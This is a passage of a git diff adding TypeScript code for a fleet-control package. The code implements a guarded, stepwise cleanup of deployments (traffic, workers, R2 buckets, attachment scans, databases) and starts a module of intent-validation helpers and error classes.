+  if (intent.state.step === 'blocked') {
+    return {
+      status: 'blocked',
+      token,
+      purpose: intent.state.purpose,
+      attachment: intent.state.attachment,
+    };
+  }
+  return { status: 'pending', token };
+}
+
+function nextIntent(
+  intent: CleanupAdvanceIntent,
+  timestamp: string,
+  state: CleanupAdvanceState,
+  generation?: number,
+): CleanupAdvanceIntent {
+  return {
+    version: 1,
+    operationId: intent.operationId,
+    revision: intent.revision + 1,
+    generation: generation ?? intent.generation,
+    updatedAt: timestamp,
+    authority: intent.authority,
+    identity: intent.identity,
+    state,
+  };
+}
+
+async function commit(
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: CleanupAdvanceIntent,
+  clock: () => number,
+  recordValues: Readonly<Partial<Pick<FleetRecord, 'applicationResources'>>>,
+  state: CleanupAdvanceState,
+  generation?: number,
+): Promise<FleetRecord> {
+  const timestamp = nowIso(clock);
+  const source: FleetRecord = {
+    ...omitIntent(record),
+    ...recordValues,
+    updatedAt: timestamp,
+  };
+  const next: FleetRecord = {
+    ...source,
+    cleanupIntent: normalizeCleanupAdvanceIntent(
+      nextIntent(intent, timestamp, state, generation),
+      source,
+    ),
+  };
+  await lease.put(next);
+  return next;
+}
+
+function assertBackendSwitchInactiveForCleanup(record: FleetRecord): void {
+  // Reads the same settled-subphase set as backend-switch.ts's
+  // assertBackendSwitchInactive. This engine reads it from types.ts because
+  // the transport-neutral rule forbids importing backend-switch.ts here and
+  // permits types.ts.
+  if (
+    record.backendSwitchIntent &&
+    !SETTLED_BACKEND_SWITCH_SUBPHASES.has(record.backendSwitchIntent.subphase)
+  ) {
+    throw new Error(
+      `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`,
+    );
+  }
+}
+
+function assertCleanupCaller(
+  record: FleetRecord,
+  backend: ProvisioningBackend,
+  spec: DeploymentSpec,
+  intent: CleanupAdvanceIntent,
+): void {
+  if (record.backend !== backend.kind) {
+    throw new Error('cleanup backend does not own this deployment');
+  }
+  assertImmutableDeploymentMapping(record, backend, spec);
+  if (
+    intent.authority.kind === 'provisioning-rollback' &&
+    intent.authority.requestedSpecDigest !== deploymentSpecDigest(spec)
+  ) {
+    throw new Error('cleanup retry uses a different requested specification');
+  }
+}
+
+function assertRollbackDeletionAuthority(
+  intent: CleanupAdvanceIntent,
+  requireDatabaseOwned: boolean,
+): void {
+  if (intent.authority.kind !== 'provisioning-rollback') return;
+  if (
+    !intent.authority.reservationOwned ||
+    (requireDatabaseOwned && !intent.authority.databaseOwned)
+  ) {
+    throw new Error(
+      'provisioning rollback cannot delete a database the attempt does not own',
+    );
+  }
+}
+
+function requireStartCapabilities(
+  backend: ProvisioningBackend,
+  resources: readonly ApplicationR2Resource[],
+): void {
+  requireCapability(
+    backend.advanceDecommissionAttachmentScan,
+    'attachment-scan',
+  );
+  requireCapability(
+    backend.assertDatabaseDeletionResidualsRemoved,
+    'database-residuals',
+  );
+  if (resources.length > 0) {
+    requireCapability(
+      backend.findApplicationR2Bucket,
+      'application-r2-inspection',
+    );
+  }
+  if (resources.some((resource) => resource.state !== 'deleted')) {
+    requireCapability(backend.assertApplicationR2Empty, 'application-r2-empty');
+    requireCapability(
+      backend.deleteApplicationR2Bucket,
+      'application-r2-delete',
+    );
+  }
+  if (
+    resources.some(
+      (resource) =>
+        resource.state === 'created' || resource.state === 'detach-authorized',
+    )
+  ) {
+    requireCapability(
+      backend.assertApplicationR2Detached,
+      'application-r2-detach',
+    );
+  }
+}
+
+function recheckEligibility(
+  record: FleetRecord,
+  intent: CleanupAdvanceIntent,
+): CleanupReceiptEvidence['eligibility'] {
+  // Synthetic input: the live phase is 'cleanup-advancing', which the
+  // classifier would always refuse; the eligibility re-check replays the
+  // persisted admitted phase and externalArtifact against the LIVE carrier.
+  const classification = classifyCleanupDatabaseEligibility({
+    record: { ...omitIntent(record), phase: intent.identity.admittedPhase },
+    externalArtifact: intent.identity.externalArtifact,
+  });
+  if (!classification.eligible) {
+    throw eligibilityRefusal(classification, intent.identity.admittedPhase);
+  }
+  return classification.eligibility;
+}
+
+function persistedDatabase(record: FleetRecord): DatabaseReference {
+  return { id: record.databaseId, name: record.databaseName, created: false };
+}
+
+function scanPurpose(intent: CleanupAdvanceIntent): CleanupAttachmentPurpose {
+  return {
+    kind: 'cleanup-database-pre-delete',
+    databaseId: intent.identity.record.databaseId,
+    operationId: intent.operationId,
+  };
+}
+
+async function completeTerminal(
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: CleanupAdvanceIntent,
+  expectedRevision: number,
+  eligibility: CleanupReceiptEvidence['eligibility'],
+  disposition: CleanupTerminalReceipt['disposition'],
+): Promise<CleanupAdvanceResult> {
+  const completeCleanup = requiredCapability(
+    lease.completeCleanup,
+    'terminal-receipt',
+  ).bind(lease);
+  const teardown =
+    intent.identity.admittedPhase !== 'database-reserved' &&
+    intent.identity.admittedPhase !== 'database-create-authorized';
+  const receipt: CleanupTerminalReceipt = {
+    version: 1,
+    operationId: intent.operationId,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    backend: record.backend,
+    scriptName: record.scriptName,
+    databaseId: record.databaseId,
+    databaseName: record.databaseName,
+    authority: intent.authority.kind,
+    admittedPhase: intent.identity.admittedPhase,
+    disposition,
+    evidence: {
+      eligibility,
+      ingressRemoved: teardown,
+      workerAbsent: teardown,
+      platformResourcesAbsent: teardown,
+      applicationR2Settled: teardown,
+      databaseAbsentReadback: true,
+    },
+  };
+  const persisted = await completeCleanup({ receipt, expectedRevision });
+  return {
+    status: 'complete',
+    token: {
+      version: 1,
+      tenantTag: record.tenantTag,
+      environment: record.environment,
+      operationId: intent.operationId,
+      revision: expectedRevision,
+    },
+    receipt: persisted,
+  };
+}
+
+async function advanceDatabaseDeletion(
+  options: AdvanceCleanupDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: CleanupAdvanceIntent,
+): Promise<CleanupAdvanceResult> {
+  const { backend, spec } = options;
+  requireCapability(lease.completeCleanup, 'terminal-receipt');
+  const admittedPhase = intent.identity.admittedPhase;
+  if (
+    admittedPhase === 'database-reserved' ||
+    admittedPhase === 'database-create-authorized'
+  ) {
+    const eligibility = recheckEligibility(record, intent);
+    const reserved = await backend.findDatabase(spec);
+    if (admittedPhase === 'database-reserved') {
+      if (reserved) {
+        throw new Error(
+          `refusing to clear an unauthorized database reservation while '${reserved.id}:${reserved.name}' exists`,
+        );
+      }
+      return completeTerminal(
+        lease,
+        record,
+        intent,
+        intent.revision,
+        eligibility,
+        'reservation-cleared',
+      );
+    }
+    if (!reserved) {
+      return completeTerminal(
+        lease,
+        record,
+        intent,
+        intent.revision,
+        eligibility,
+        'reservation-cleared',
+      );
+    }
+    requireCapability(backend.deleteDatabase, 'database-delete');
+    if (reserved.name !== record.databaseName) {
+      throw new Error(
+        `authorized database '${record.databaseName}' resolved with unexpected identity '${reserved.id}:${reserved.name}'`,
+      );
+    }
+    const owner = await backend.readDeploymentIdentity(reserved, lease);
+    if (owner !== undefined) {
+      throw new Error(
+        `refusing reserved database cleanup for '${reserved.id}' owned by '${owner}'`,
+      );
+    }
+    assertRollbackDeletionAuthority(intent, false);
+    await lease.assertOwned();
+    // A freshness PROOF, not a provisioning: the sentinel exists only so the
+    // read-back below can show the database was empty, and it is deleted
+    // immediately after; 'migration-locked' keeps a database that survives a
+    // failed delete from ever coming back as one that executes.
+    await backend.seedDeploymentIdentity(reserved, record.tenantTag, lease, {
+      initialExecutionFenceState: 'migration-locked',
+    });
+    const seededOwner = await backend.readDeploymentIdentity(reserved, lease);
+    if (seededOwner !== record.tenantTag) {
+      throw new Error(
+        `reserved database '${reserved.id}' could not be proven fresh before cleanup`,
+      );
+    }
+    await lease.assertOwned();
+    await backend.deleteDatabase(reserved, lease);
+    const remaining = await backend.findDatabase(spec);
+    if (remaining) {
+      throw new Error(
+        `reserved database '${remaining.id}' is still present after deletion`,
+      );
+    }
+    return completeTerminal(
+      lease,
+      record,
+      intent,
+      intent.revision,
+      eligibility,
+      'prepublication-owned-no-export',
+    );
+  }
+  requireCapability(backend.getDatabase, 'database-read');
+  requireCapability(backend.deleteDatabase, 'database-delete');
+  const residual = requiredCapability(
+    backend.assertDatabaseDeletionResidualsRemoved,
+    'database-residuals',
+  ).bind(backend);
+  const database = await reconcilePersistedDatabase(
+    backend,
+    record,
+    true,
+    lease,
+    admittedPhase !== 'database-created',
+  );
+  if (!database) {
+    const eligibility = recheckEligibility(record, intent);
+    return completeTerminal(
+      lease,
+      record,
+      intent,
+      intent.revision,
+      eligibility,
+      'reservation-cleared',
+    );
+  }
+  await residual(spec, record, database, lease);
+  const eligibility = recheckEligibility(record, intent);
+  assertRollbackDeletionAuthority(intent, true);
+  await settleDatabaseDeletionUnderBarrier({
+    lease,
+    databaseId: record.databaseId,
+    barrier: record,
+    deleteDatabase: () => backend.deleteDatabase(database, lease),
+    readDatabase: () => backend.getDatabase(record.databaseId),
+  });
+  return completeTerminal(
+    lease,
+    record,
+    intent,
+    intent.revision,
+    eligibility,
+    'prepublication-owned-no-export',
+  );
+}
+
+async function advanceTeardown(
+  options: AdvanceCleanupDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: CleanupAdvanceIntent,
+): Promise<FleetRecord> {
+  const { backend, spec } = options;
+  const clock = options.clock ?? Date.now;
+  const database = persistedDatabase(record);
+  const step = intent.state.step;
+  if (step === 'teardown-traffic') {
+    const resources = record.applicationResources ?? [];
+    let preflightBackend:
+      | Readonly<{
+          findApplicationR2Bucket: NonNullable<
+            ProvisioningBackend['findApplicationR2Bucket']
+          >;
+          assertApplicationR2Empty?: NonNullable<
+            ProvisioningBackend['assertApplicationR2Empty']
+          >;
+        }>
+      | undefined;
+    if (resources.length > 0) {
+      const findApplicationR2Bucket = requiredCapability(
+        backend.findApplicationR2Bucket,
+        'application-r2-inspection',
+      ).bind(backend);
+      const needsEmptyAttestation = resources.some(
+        (resource) =>
+          resource.state !== 'reserved' && resource.state !== 'deleted',
+      );
+      preflightBackend = needsEmptyAttestation
+        ? {
+            findApplicationR2Bucket,
+            assertApplicationR2Empty: requiredCapability(
+              backend.assertApplicationR2Empty,
+              'application-r2-empty',
+            ).bind(backend),
+          }
+        : { findApplicationR2Bucket };
+    }
+    await lease.assertOwned();
+    await backend.removeTraffic(
+      spec,
+      retainedExternalReleases(record),
+      activeExternalRelease(record),
+      database,
+      lease,
+    );
+    await backend.assertTrafficRemoved(spec);
+    if (preflightBackend) {
+      await assertApplicationR2EmptyBeforeDecommission({
+        resources,
+        backend: preflightBackend,
+        fence: lease,
+      });
+    }
+    return commit(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      { step: 'teardown-worker' },
+    );
+  }
+  if (step === 'teardown-worker') {
+    await lease.assertOwned();
+    await backend.revokeCredentials(
+      spec,
+      retainedExternalReleases(record),
+      activeExternalRelease(record),
+      database,
+      lease,
+    );
+    await lease.assertOwned();
+    await backend.deleteWorker(
+      spec,
+      retainedExternalReleases(record),
+      database,
+      activeExternalRelease(record),
+      lease,
+    );
+    return commit(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      record.platformResources || record.platformTarget
+        ? { step: 'teardown-platform' }
+        : { step: 'r2-deletion', startResourceIndex: 0 },
+    );
+  }
+  if (
+    !backend.revokePlatformResourceCredentials ||
+    !backend.deletePlatformResources
+  ) {
+    throw new Error(
+      'backend cannot clean persisted trusted platform resources',
+    );
+  }
+  await lease.assertOwned();
+  await backend.revokePlatformResourceCredentials(
+    spec,
+    record,
+    database,
+    lease,
+  );
+  await lease.assertOwned();
+  await backend.deletePlatformResources(spec, record, database, lease);
+  return commit(
+    lease,
+    record,
+    intent,
+    clock,
+    {},
+    {
+      step: 'r2-deletion',
+      startResourceIndex: 0,
+    },
+  );
+}
+
+async function advanceR2Deletion(
+  options: AdvanceCleanupDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: CleanupAdvanceIntent,
+  state: Extract<CleanupAdvanceState, { readonly step: 'r2-deletion' }>,
+): Promise<FleetRecord> {
+  const { backend, spec } = options;
+  const clock = options.clock ?? Date.now;
+  const resources = record.applicationResources ?? [];
+  const pending = resources.slice(state.startResourceIndex);
+  const actionableOffset = pending.findIndex(
+    (resource) => resource.state !== 'deleted',
+  );
+  const actionable =
+    actionableOffset < 0 ? undefined : pending[actionableOffset];
+  const needsInspection =
+    resources.length > 0 &&
+    (actionableOffset !== 0 ||
+      (actionable !== undefined && actionable.state !== 'empty'));
+  const findApplicationR2Bucket = needsInspection
+    ? requiredCapability(
+        backend.findApplicationR2Bucket,
+        'application-r2-inspection',
+      ).bind(backend)
+    : undefined;
+  const assertApplicationR2Empty =
+    actionable?.state === 'detached' || actionable?.state === 'empty-authorized'
+      ? requiredCapability(
+          backend.assertApplicationR2Empty,
+          'application-r2-empty',
+        ).bind(backend)
+      : undefined;
+  const deleteApplicationR2Bucket =
+    actionable?.state === 'empty' || actionable?.state === 'delete-authorized'
+      ? requiredCapability(
+          backend.deleteApplicationR2Bucket,
+          'application-r2-delete',
+        ).bind(backend)
+      : undefined;
+  const detachmentPossible =
+    actionable !== undefined &&
+    (actionable.state === 'created' ||
+      (actionable.state === 'detach-authorized' &&
+        state.verifiedDetachmentResourceIndex === undefined));
+  if (detachmentPossible) {
+    requireCapability(
+      backend.assertApplicationR2Detached,
+      'application-r2-detach',
+    );
+  }
+  const result = await advanceApplicationR2Deletion({
+    spec,
+    resources,
+    backend: {
+      ...(findApplicationR2Bucket ? { findApplicationR2Bucket } : {}),
+      ...(assertApplicationR2Empty ? { assertApplicationR2Empty } : {}),
+      ...(deleteApplicationR2Bucket ? { deleteApplicationR2Bucket } : {}),
+    },
+    fence: lease,
+    startResourceIndex: state.startResourceIndex,
+    ...(state.verifiedDetachmentResourceIndex !== undefined
+      ? {
+          verifiedDetachmentResourceIndex:
+            state.verifiedDetachmentResourceIndex,
+        }
+      : {}),
+  });
+  if (result.status === 'complete') {
+    return commit(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        step: 'attachment-scan',
+        scan: {
+          purpose: scanPurpose(intent),
+          pass: 'discover',
+          progress: initialWorkerAttachmentScan({
+            kind: 'd1',
+            databaseId: record.databaseId,
+          }),
+        },
+      },
+      intent.generation + 1,
+    );
+  }
+  if (result.status === 'resource-advanced') {
+    const advanced = result.resources[result.resourceIndex];
+    return commit(
+      lease,
+      record,
+      intent,
+      clock,
+      { applicationResources: result.resources },
+      {
+        step: 'r2-deletion',
+        startResourceIndex:
+          advanced?.state === 'deleted'
+            ? state.startResourceIndex + 1
+            : state.startResourceIndex,
+      },
+    );
+  }
+  const assertApplicationR2Detached = requiredCapability(
+    backend.assertApplicationR2Detached,
+    'application-r2-detach',
+  ).bind(backend);
+  await lease.assertOwned();
+  await assertApplicationR2Detached(result.resource, lease);
+  return commit(
+    lease,
+    record,
+    intent,
+    clock,
+    { applicationResources: result.resources },
+    {
+      step: 'r2-deletion',
+      startResourceIndex: result.resourceIndex,
+      verifiedDetachmentResourceIndex: result.resourceIndex,
+    },
+  );
+}
+
+async function advanceAttachmentScan(
+  options: AdvanceCleanupDeploymentOptions,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  intent: CleanupAdvanceIntent,
+  state: Extract<CleanupAdvanceState, { readonly step: 'attachment-scan' }>,
+): Promise<CleanupAdvanceResult> {
+  const scan = requiredCapability(
+    options.backend.advanceDecommissionAttachmentScan,
+    'attachment-scan',
+  ).bind(options.backend);
+  const clock = options.clock ?? Date.now;
+  const target = {
+    kind: 'd1',
+    databaseId: state.scan.purpose.databaseId,
+  } as const;
+  const restartDiscover = () =>
+    commit(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        step: 'attachment-scan',
+        scan: {
+          purpose: state.scan.purpose,
+          pass: 'discover',
+          progress: initialWorkerAttachmentScan(target),
+        },
+      },
+      intent.generation + 1,
+    );
+  const raw = await scan({
+    progress: state.scan.progress,
+    maxProviderRequests: options.maxProviderRequests,
+    signal: options.signal,
+  });
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(raw, {
+      maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND,
+      maxNodes: RESULT_PLAIN_DATA_NODE_BOUND,
+      maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND,
+      maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND,
+      error: () => new Error(RESULT_ERROR),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [raw]);
+  } catch {
+    return malformedResult();
+  }
+  if (!plain || typeof plain !== 'object' || Array.isArray(plain)) {
+    return malformedResult();
+  }
+  const result = plain as Record<string, unknown>;
+  if (result.status === 'drift') {
+    return authoritativeResult(await restartDiscover());
+  }
+  assertReservedAttempts(
+    result.providerFetchAttemptsReserved,
+    options.maxProviderRequests,
+  );
+  if (result.status === 'pending') {
+    let progress: CleanupAttachmentProgress;
+    try {
+      progress = parseWorkerAttachmentScanProgress(result.progress, target);
+    } catch {
+      return malformedResult();
+    }
+    let scanState: CleanupAttachmentScan;
+    if (state.scan.pass === 'verify') {
+      const discoverEvidence = state.scan.discoverEvidence;
+      if (!discoverEvidence) return malformedResult();
+      scanState = {
+        purpose: state.scan.purpose,
+        pass: 'verify',
+        progress,
+        discoverEvidence,
+      };
+    } else {
+      scanState = { purpose: state.scan.purpose, pass: 'discover', progress };
+    }
+    return authoritativeResult(
+      await commit(
+        lease,
+        record,
+        intent,
+        clock,
+        {},
+        {
+          step: 'attachment-scan',
+          scan: scanState,
+        },
+      ),
+    );
+  }
+  if (result.status === 'attached') {
+    const attachment = safeAttachment(result.attachment);
+    return authoritativeResult(
+      await commit(
+        lease,
+        record,
+        intent,
+        clock,
+        {},
+        {
+          step: 'blocked',
+          purpose: state.scan.purpose,
+          attachment,
+        },
+      ),
+    );
+  }
+  if (
+    result.status !== 'complete' ||
+    typeof result.evidenceSha256 !== 'string' ||
+    !Number.isSafeInteger(result.evidenceCount)
+  ) {
+    return malformedResult();
+  }
+  const evidence = {
+    evidenceSha256: result.evidenceSha256,
+    evidenceCount: Number(result.evidenceCount),
+  };
+  if (
+    !SHA256.test(evidence.evidenceSha256) ||
+    evidence.evidenceCount < 2 ||
+    evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND
+  ) {
+    return malformedResult();
+  }
+  if (state.scan.pass === 'discover') {
+    return authoritativeResult(
+      await commit(
+        lease,
+        record,
+        intent,
+        clock,
+        {},
+        {
+          step: 'attachment-scan',
+          scan: {
+            purpose: state.scan.purpose,
+            pass: 'verify',
+            progress: initialWorkerAttachmentScan(target),
+            discoverEvidence: evidence,
+          },
+        },
+      ),
+    );
+  }
+  const discoverEvidence = state.scan.discoverEvidence;
+  if (!discoverEvidence) return malformedResult();
+  if (
+    evidence.evidenceSha256 !== discoverEvidence.evidenceSha256 ||
+    evidence.evidenceCount !== discoverEvidence.evidenceCount
+  ) {
+    return authoritativeResult(await restartDiscover());
+  }
+  return authoritativeResult(
+    await commit(
+      lease,
+      record,
+      intent,
+      clock,
+      {},
+      {
+        step: 'database-deletion',
+      },
+    ),
+  );
+}
+
+async function admitCleanup(
+  backend: ProvisioningBackend,
+  spec: DeploymentSpec,
+  lease: FleetStateLease,
+  record: FleetRecord,
+  authority: CleanupAuthority,
+  randomUUID: () => string,
+  clock: () => number,
+): Promise<FleetRecord> {
+  assertNoActiveDecommission(record, 'cleanupDeploymentArtifacts');
+  assertBackendSwitchInactiveForCleanup(record);
+  assertImmutableDeploymentMapping(record, backend, spec);
+  const classification = classifyCleanupDatabaseEligibility({
+    record,
+    externalArtifact: backend.immutableExternalArtifacts === true,
+  });
+  if (!classification.eligible) {
+    throw eligibilityRefusal(classification, record.phase);
+  }
+  const reservation =
+    record.phase === 'database-reserved' ||
+    record.phase === 'database-create-authorized';
+  if (record.phase === 'database-reserved') {
+    const reserved = await backend.findDatabase(spec);
+    if (reserved) {
+      throw new Error(
+        `refusing to clear an unauthorized database reservation while '${reserved.id}:${reserved.name}' exists`,
+      );
+    }
+  }
+  if (!reservation) {
+    requireStartCapabilities(backend, record.applicationResources ?? []);
+  }
+  const operationId = randomUUID();
+  parseCleanupAdvanceToken({
+    version: 1,
+    tenantTag: spec.tenantTag,
+    environment: spec.environment,
+    operationId,
+    revision: 0,
+  });
+  const timestamp = nowIso(clock);
+  const source: FleetRecord = {
+    ...omitIntent(record),
+    phase: 'cleanup-advancing',
+    updatedAt: timestamp,
+  };
+  const intent: CleanupAdvanceIntent = {
+    version: 1,
+    operationId,
+    revision: 0,
+    generation: 0,
+    updatedAt: timestamp,
+    authority,
+    identity: {
+      record: {
+        tenantTag: record.tenantTag,
+        environment: record.environment,
+        backend: record.backend,
+        scriptName: record.scriptName,
+        databaseId: record.databaseId,
+        databaseName: record.databaseName,
+        routeHostname: record.routeHostname,
+      },
+      admittedPhase: record.phase,
+      externalArtifact: backend.immutableExternalArtifacts === true,
+    },
+    state: reservation
+      ? { step: 'database-deletion' }
+      : { step: 'teardown-traffic' },
+  };
+  const next: FleetRecord = {
+    ...source,
+    cleanupIntent: normalizeCleanupAdvanceIntent(intent, source),
+  };
+  await lease.put(next);
+  return next;
+}
+
+/**
+ * @internal Persists the provisioning-rollback authority under the caller's
+ * held deployment lease; the failed-provision catch then drains through
+ * `advanceCleanupUnderLease`. Refusals throw before any mutation and leave the
+ * record untouched.
+ */
+export async function startProvisioningRollbackCleanup(
+  lease: FleetStateLease,
+  record: FleetRecord,
+  authority: Extract<
+    CleanupAuthority,
+    { readonly kind: 'provisioning-rollback' }
+  >,
+  options: Readonly<{
+    backend: ProvisioningBackend;
+    spec: DeploymentSpec;
+    randomUUID: () => string;
+    clock?: () => number;
+  }>,
+): Promise<FleetRecord> {
+  return admitCleanup(
+    options.backend,
+    options.spec,
+    lease,
+    record,
+    authority,
+    options.randomUUID,
+    options.clock ?? Date.now,
+  );
+}
+
+/**
+ * @internal Advances one bounded cleanup group under an already-held
+ * deployment lease. The public entry wraps this in its own
+ * `withDeploymentLease`; already-lease-holding callers (the failed-provision
+ * catch) call it directly.
+ */
+export async function advanceCleanupUnderLease(
+  options: AdvanceCleanupDeploymentOptions,
+  action: CleanupAdvanceAction,
+  parsedToken: CleanupAdvanceToken | undefined,
+  lease: FleetStateLease,
+): Promise<CleanupAdvanceResult> {
+  const { backend, spec, store } = options;
+  const record = await store.get(spec.tenantTag, spec.environment);
+  if (action.kind === 'start') {
+    if (!record) throw new Error('deployment is not registered');
+    const intent = record.cleanupIntent
+      ? normalizeIntent(record.cleanupIntent, record)
+      : undefined;
+    if (intent) {
+      assertCleanupCaller(record, backend, spec, intent);
+      return authoritativeResult({ ...record, cleanupIntent: intent });
+    }
+    const admitted = await admitCleanup(
+      backend,
+      spec,
+      lease,
+      record,
+      { kind: 'manual-cleanup' },
+      options.randomUUID,
+      options.clock ?? Date.now,
+    );
+    return authoritativeResult(admitted);
+  }
+  if (!parsedToken) throw new CleanupAdvanceTokenOperationError();
+  const intent = record?.cleanupIntent
+    ? normalizeIntent(record.cleanupIntent, record)
+    : undefined;
+  if (!record || !intent || intent.operationId !== parsedToken.operationId) {
+    const readCleanupReceipt = requiredCapability(
+      store.readCleanupReceipt,
+      'receipt-read',
+    ).bind(store);
+    const receipt = await readCleanupReceipt(parsedToken.operationId);
+    if (!receipt) throw new CleanupAdvanceTokenOperationError();
+    if (
+      receipt.tenantTag !== parsedToken.tenantTag ||
+      receipt.environment !== parsedToken.environment
+    ) {
+      throw new CleanupAdvanceTokenDeploymentError();
+    }
+    return { status: 'complete', token: parsedToken, receipt };
+  }
+  const current: FleetRecord = { ...record, cleanupIntent: intent };
+  const classification = classifyCleanupAdvanceToken(parsedToken, current);
+  if (classification === 'stale') return authoritativeResult(current);
+  if (action.kind === 'restart-blocked') {
+    if (intent.state.step !== 'blocked') throw new CleanupAdvanceRestartError();
+    assertCleanupCaller(current, backend, spec, intent);
+    requireCapability(
+      backend.advanceDecommissionAttachmentScan,
+      'attachment-scan',
+    );
+    const restarted = await commit(
+      lease,
+      current,
+      intent,
+      options.clock ?? Date.now,
+      {},
+      {
+        step: 'attachment-scan',
+        scan: {
+          purpose: intent.state.purpose,
+          pass: 'discover',
+          progress: initialWorkerAttachmentScan({
+            kind: 'd1',
+            databaseId: intent.state.purpose.databaseId,
+          }),
+        },
+      },
+      intent.generation + 1,
+    );
+    return authoritativeResult(restarted);
+  }
+  if (intent.state.step === 'blocked') return authoritativeResult(current);
+  assertCleanupCaller(current, backend, spec, intent);
+  const state = intent.state;
+  if (
+    state.step === 'teardown-traffic' ||
+    state.step === 'teardown-worker' ||
+    state.step === 'teardown-platform'
+  ) {
+    return authoritativeResult(
+      await advanceTeardown(options, lease, current, intent),
+    );
+  }
+  if (state.step === 'r2-deletion') {
+    return authoritativeResult(
+      await advanceR2Deletion(options, lease, current, intent, state),
+    );
+  }
+  if (state.step === 'attachment-scan') {
+    return advanceAttachmentScan(options, lease, current, intent, state);
+  }
+  return advanceDatabaseDeletion(options, lease, current, intent);
+}
+
+/**
+ * Starts, reads, or advances one bounded no-export cleanup operation.
+ *
+ * One call performs at most one bounded scan chunk or one action group. The
+ * terminal call persists the immutable operation-keyed receipt, releases the
+ * deployment's ownership claims, and deletes the Fleet row in one atomic
+ * batch.
+ */
+export async function advanceCleanupDeployment(
+  options: AdvanceCleanupDeploymentOptions,
+): Promise<CleanupAdvanceResult> {
+  validateDeploymentSpec(options.spec);
+  assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests);
+  const action = cleanupActionFromUnknown(options.action);
+  if (typeof options.randomUUID !== 'function') {
+    throw new Error('advanceCleanupDeployment requires a randomUUID function');
+  }
+  const parsedToken =
+    action.kind === 'start'
+      ? undefined
+      : parseCleanupAdvanceToken(action.token);
+  if (
+    parsedToken &&
+    (parsedToken.tenantTag !== options.spec.tenantTag ||
+      parsedToken.environment !== options.spec.environment)
+  ) {
+    throw new CleanupAdvanceTokenDeploymentError();
+  }
+  return options.store.withDeploymentLease(
+    options.spec.tenantTag,
+    options.spec.environment,
+    (lease) => advanceCleanupUnderLease(options, action, parsedToken, lease),
+  );
+}
diff --git a/packages/fleet-control/src/cleanup-intent.ts b/packages/fleet-control/src/cleanup-intent.ts
new file mode 100644
index 00000000..0bc07fde
--- /dev/null
+++ b/packages/fleet-control/src/cleanup-intent.ts
@@ -0,0 +1,846 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  parseWorkerAttachmentScanProgress,
+  WORKER_ATTACHMENT_EVIDENCE_BOUND,
+} from './cloudflare-worker-attachment-scan-state.js';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+import type {
+  CleanupAdvanceIntent,
+  CleanupAdvanceState,
+  CleanupAdvanceToken,
+  CleanupAttachmentProgress,
+  CleanupAttachmentPurpose,
+  CleanupAttachmentScan,
+  CleanupAuthority,
+  CleanupReceiptEvidence,
+  CleanupTerminalReceipt,
+  DecommissionBlockedAttachment,
+  FleetRecord,
+  InvocationAuthorityCarrier,
+  ProvisioningBackendKind,
+  ProvisioningPhase,
+} from './types.js';
+
+export const CLEANUP_INTENT_BYTE_BOUND = 96 * 1024;
+const TOKEN_BYTE_BOUND = 1024;
+const STRING_BYTE_BOUND = 4096;
+const DEPTH_BOUND = 64;
+const NODE_BOUND = 8192;
+const SHA256 = /^[0-9a-f]{64}$/u;
+const UUID_V4 =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u;
+const STRUCTURED_CLONE = structuredClone;
+
+/**
+ * The exact phase set no-export cleanup may admit. Every later phase requires
+ * export-backed decommissioning.
+ */
+const CLEANUP_ADMITTED_PHASES: readonly ProvisioningPhase[] = [
+  'database-reserved',
+  'database-create-authorized',
+  'database-created',
+  'identity-seeded',
+  'migrated',
+  'application-resources-create-authorized',
+  'application-resources-deployed',
+  'platform-resources-deployed',
+  'worker-deployed',
+  'maintenance-armed',
+];
+const RESERVATION_PHASES: readonly ProvisioningPhase[] = [
+  'database-reserved',
+  'database-create-authorized',
+];
+const LEGACY_IMPOSSIBLE_PHASES: readonly ProvisioningPhase[] = [
+  'database-created',
+  'identity-seeded',
+  'migrated',
+  'application-resources-create-authorized',
+];
+
+export class CleanupAdvanceIntentError extends Error {
+  constructor() {
+    super('cleanup advance intent is malformed');
+    this.name = 'CleanupAdvanceIntentError';
+  }
+}
+
+export class InvocationAuthorityCarrierError extends Error {
+  constructor() {
+    super('invocation authority carrier is malformed');
+    this.name = 'InvocationAuthorityCarrierError';
+  }
+}
+
+export class CleanupTerminalReceiptError extends Error {
+  constructor() {
+    super('cleanup terminal receipt is malformed');
+    this.name = 'CleanupTerminalReceiptError';
+  }
+}
+
+export class CleanupAdvanceTokenError extends Error {
+  constructor() {
+    super('cleanup advance token is malformed');
+    this.name = 'CleanupAdvanceTokenError';
+  }
+}
+
+export class CleanupAdvanceTokenDeploymentError extends Error {
+  constructor() {
+    super('cleanup advance token targets another deployment');
+    this.name = 'CleanupAdvanceTokenDeploymentError';
+  }
+}
+
+export class CleanupAdvanceTokenOperationError extends Error {
+  constructor() {
+    super('cleanup advance token targets another operation');
+    this.name = 'CleanupAdvanceTokenOperationError';
+  }
+}
+
+export class CleanupAdvanceTokenFutureError extends Error {
+  constructor() {
+    super('cleanup advance token is from the future');
+    this.name = 'CleanupAdvanceTokenFutureError';
+  }
+}
+
+function malformed(): never {
+  throw new CleanupAdvanceIntentError();
+}
+
+function plainRecord(value: unknown): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    return malformed();
+  }
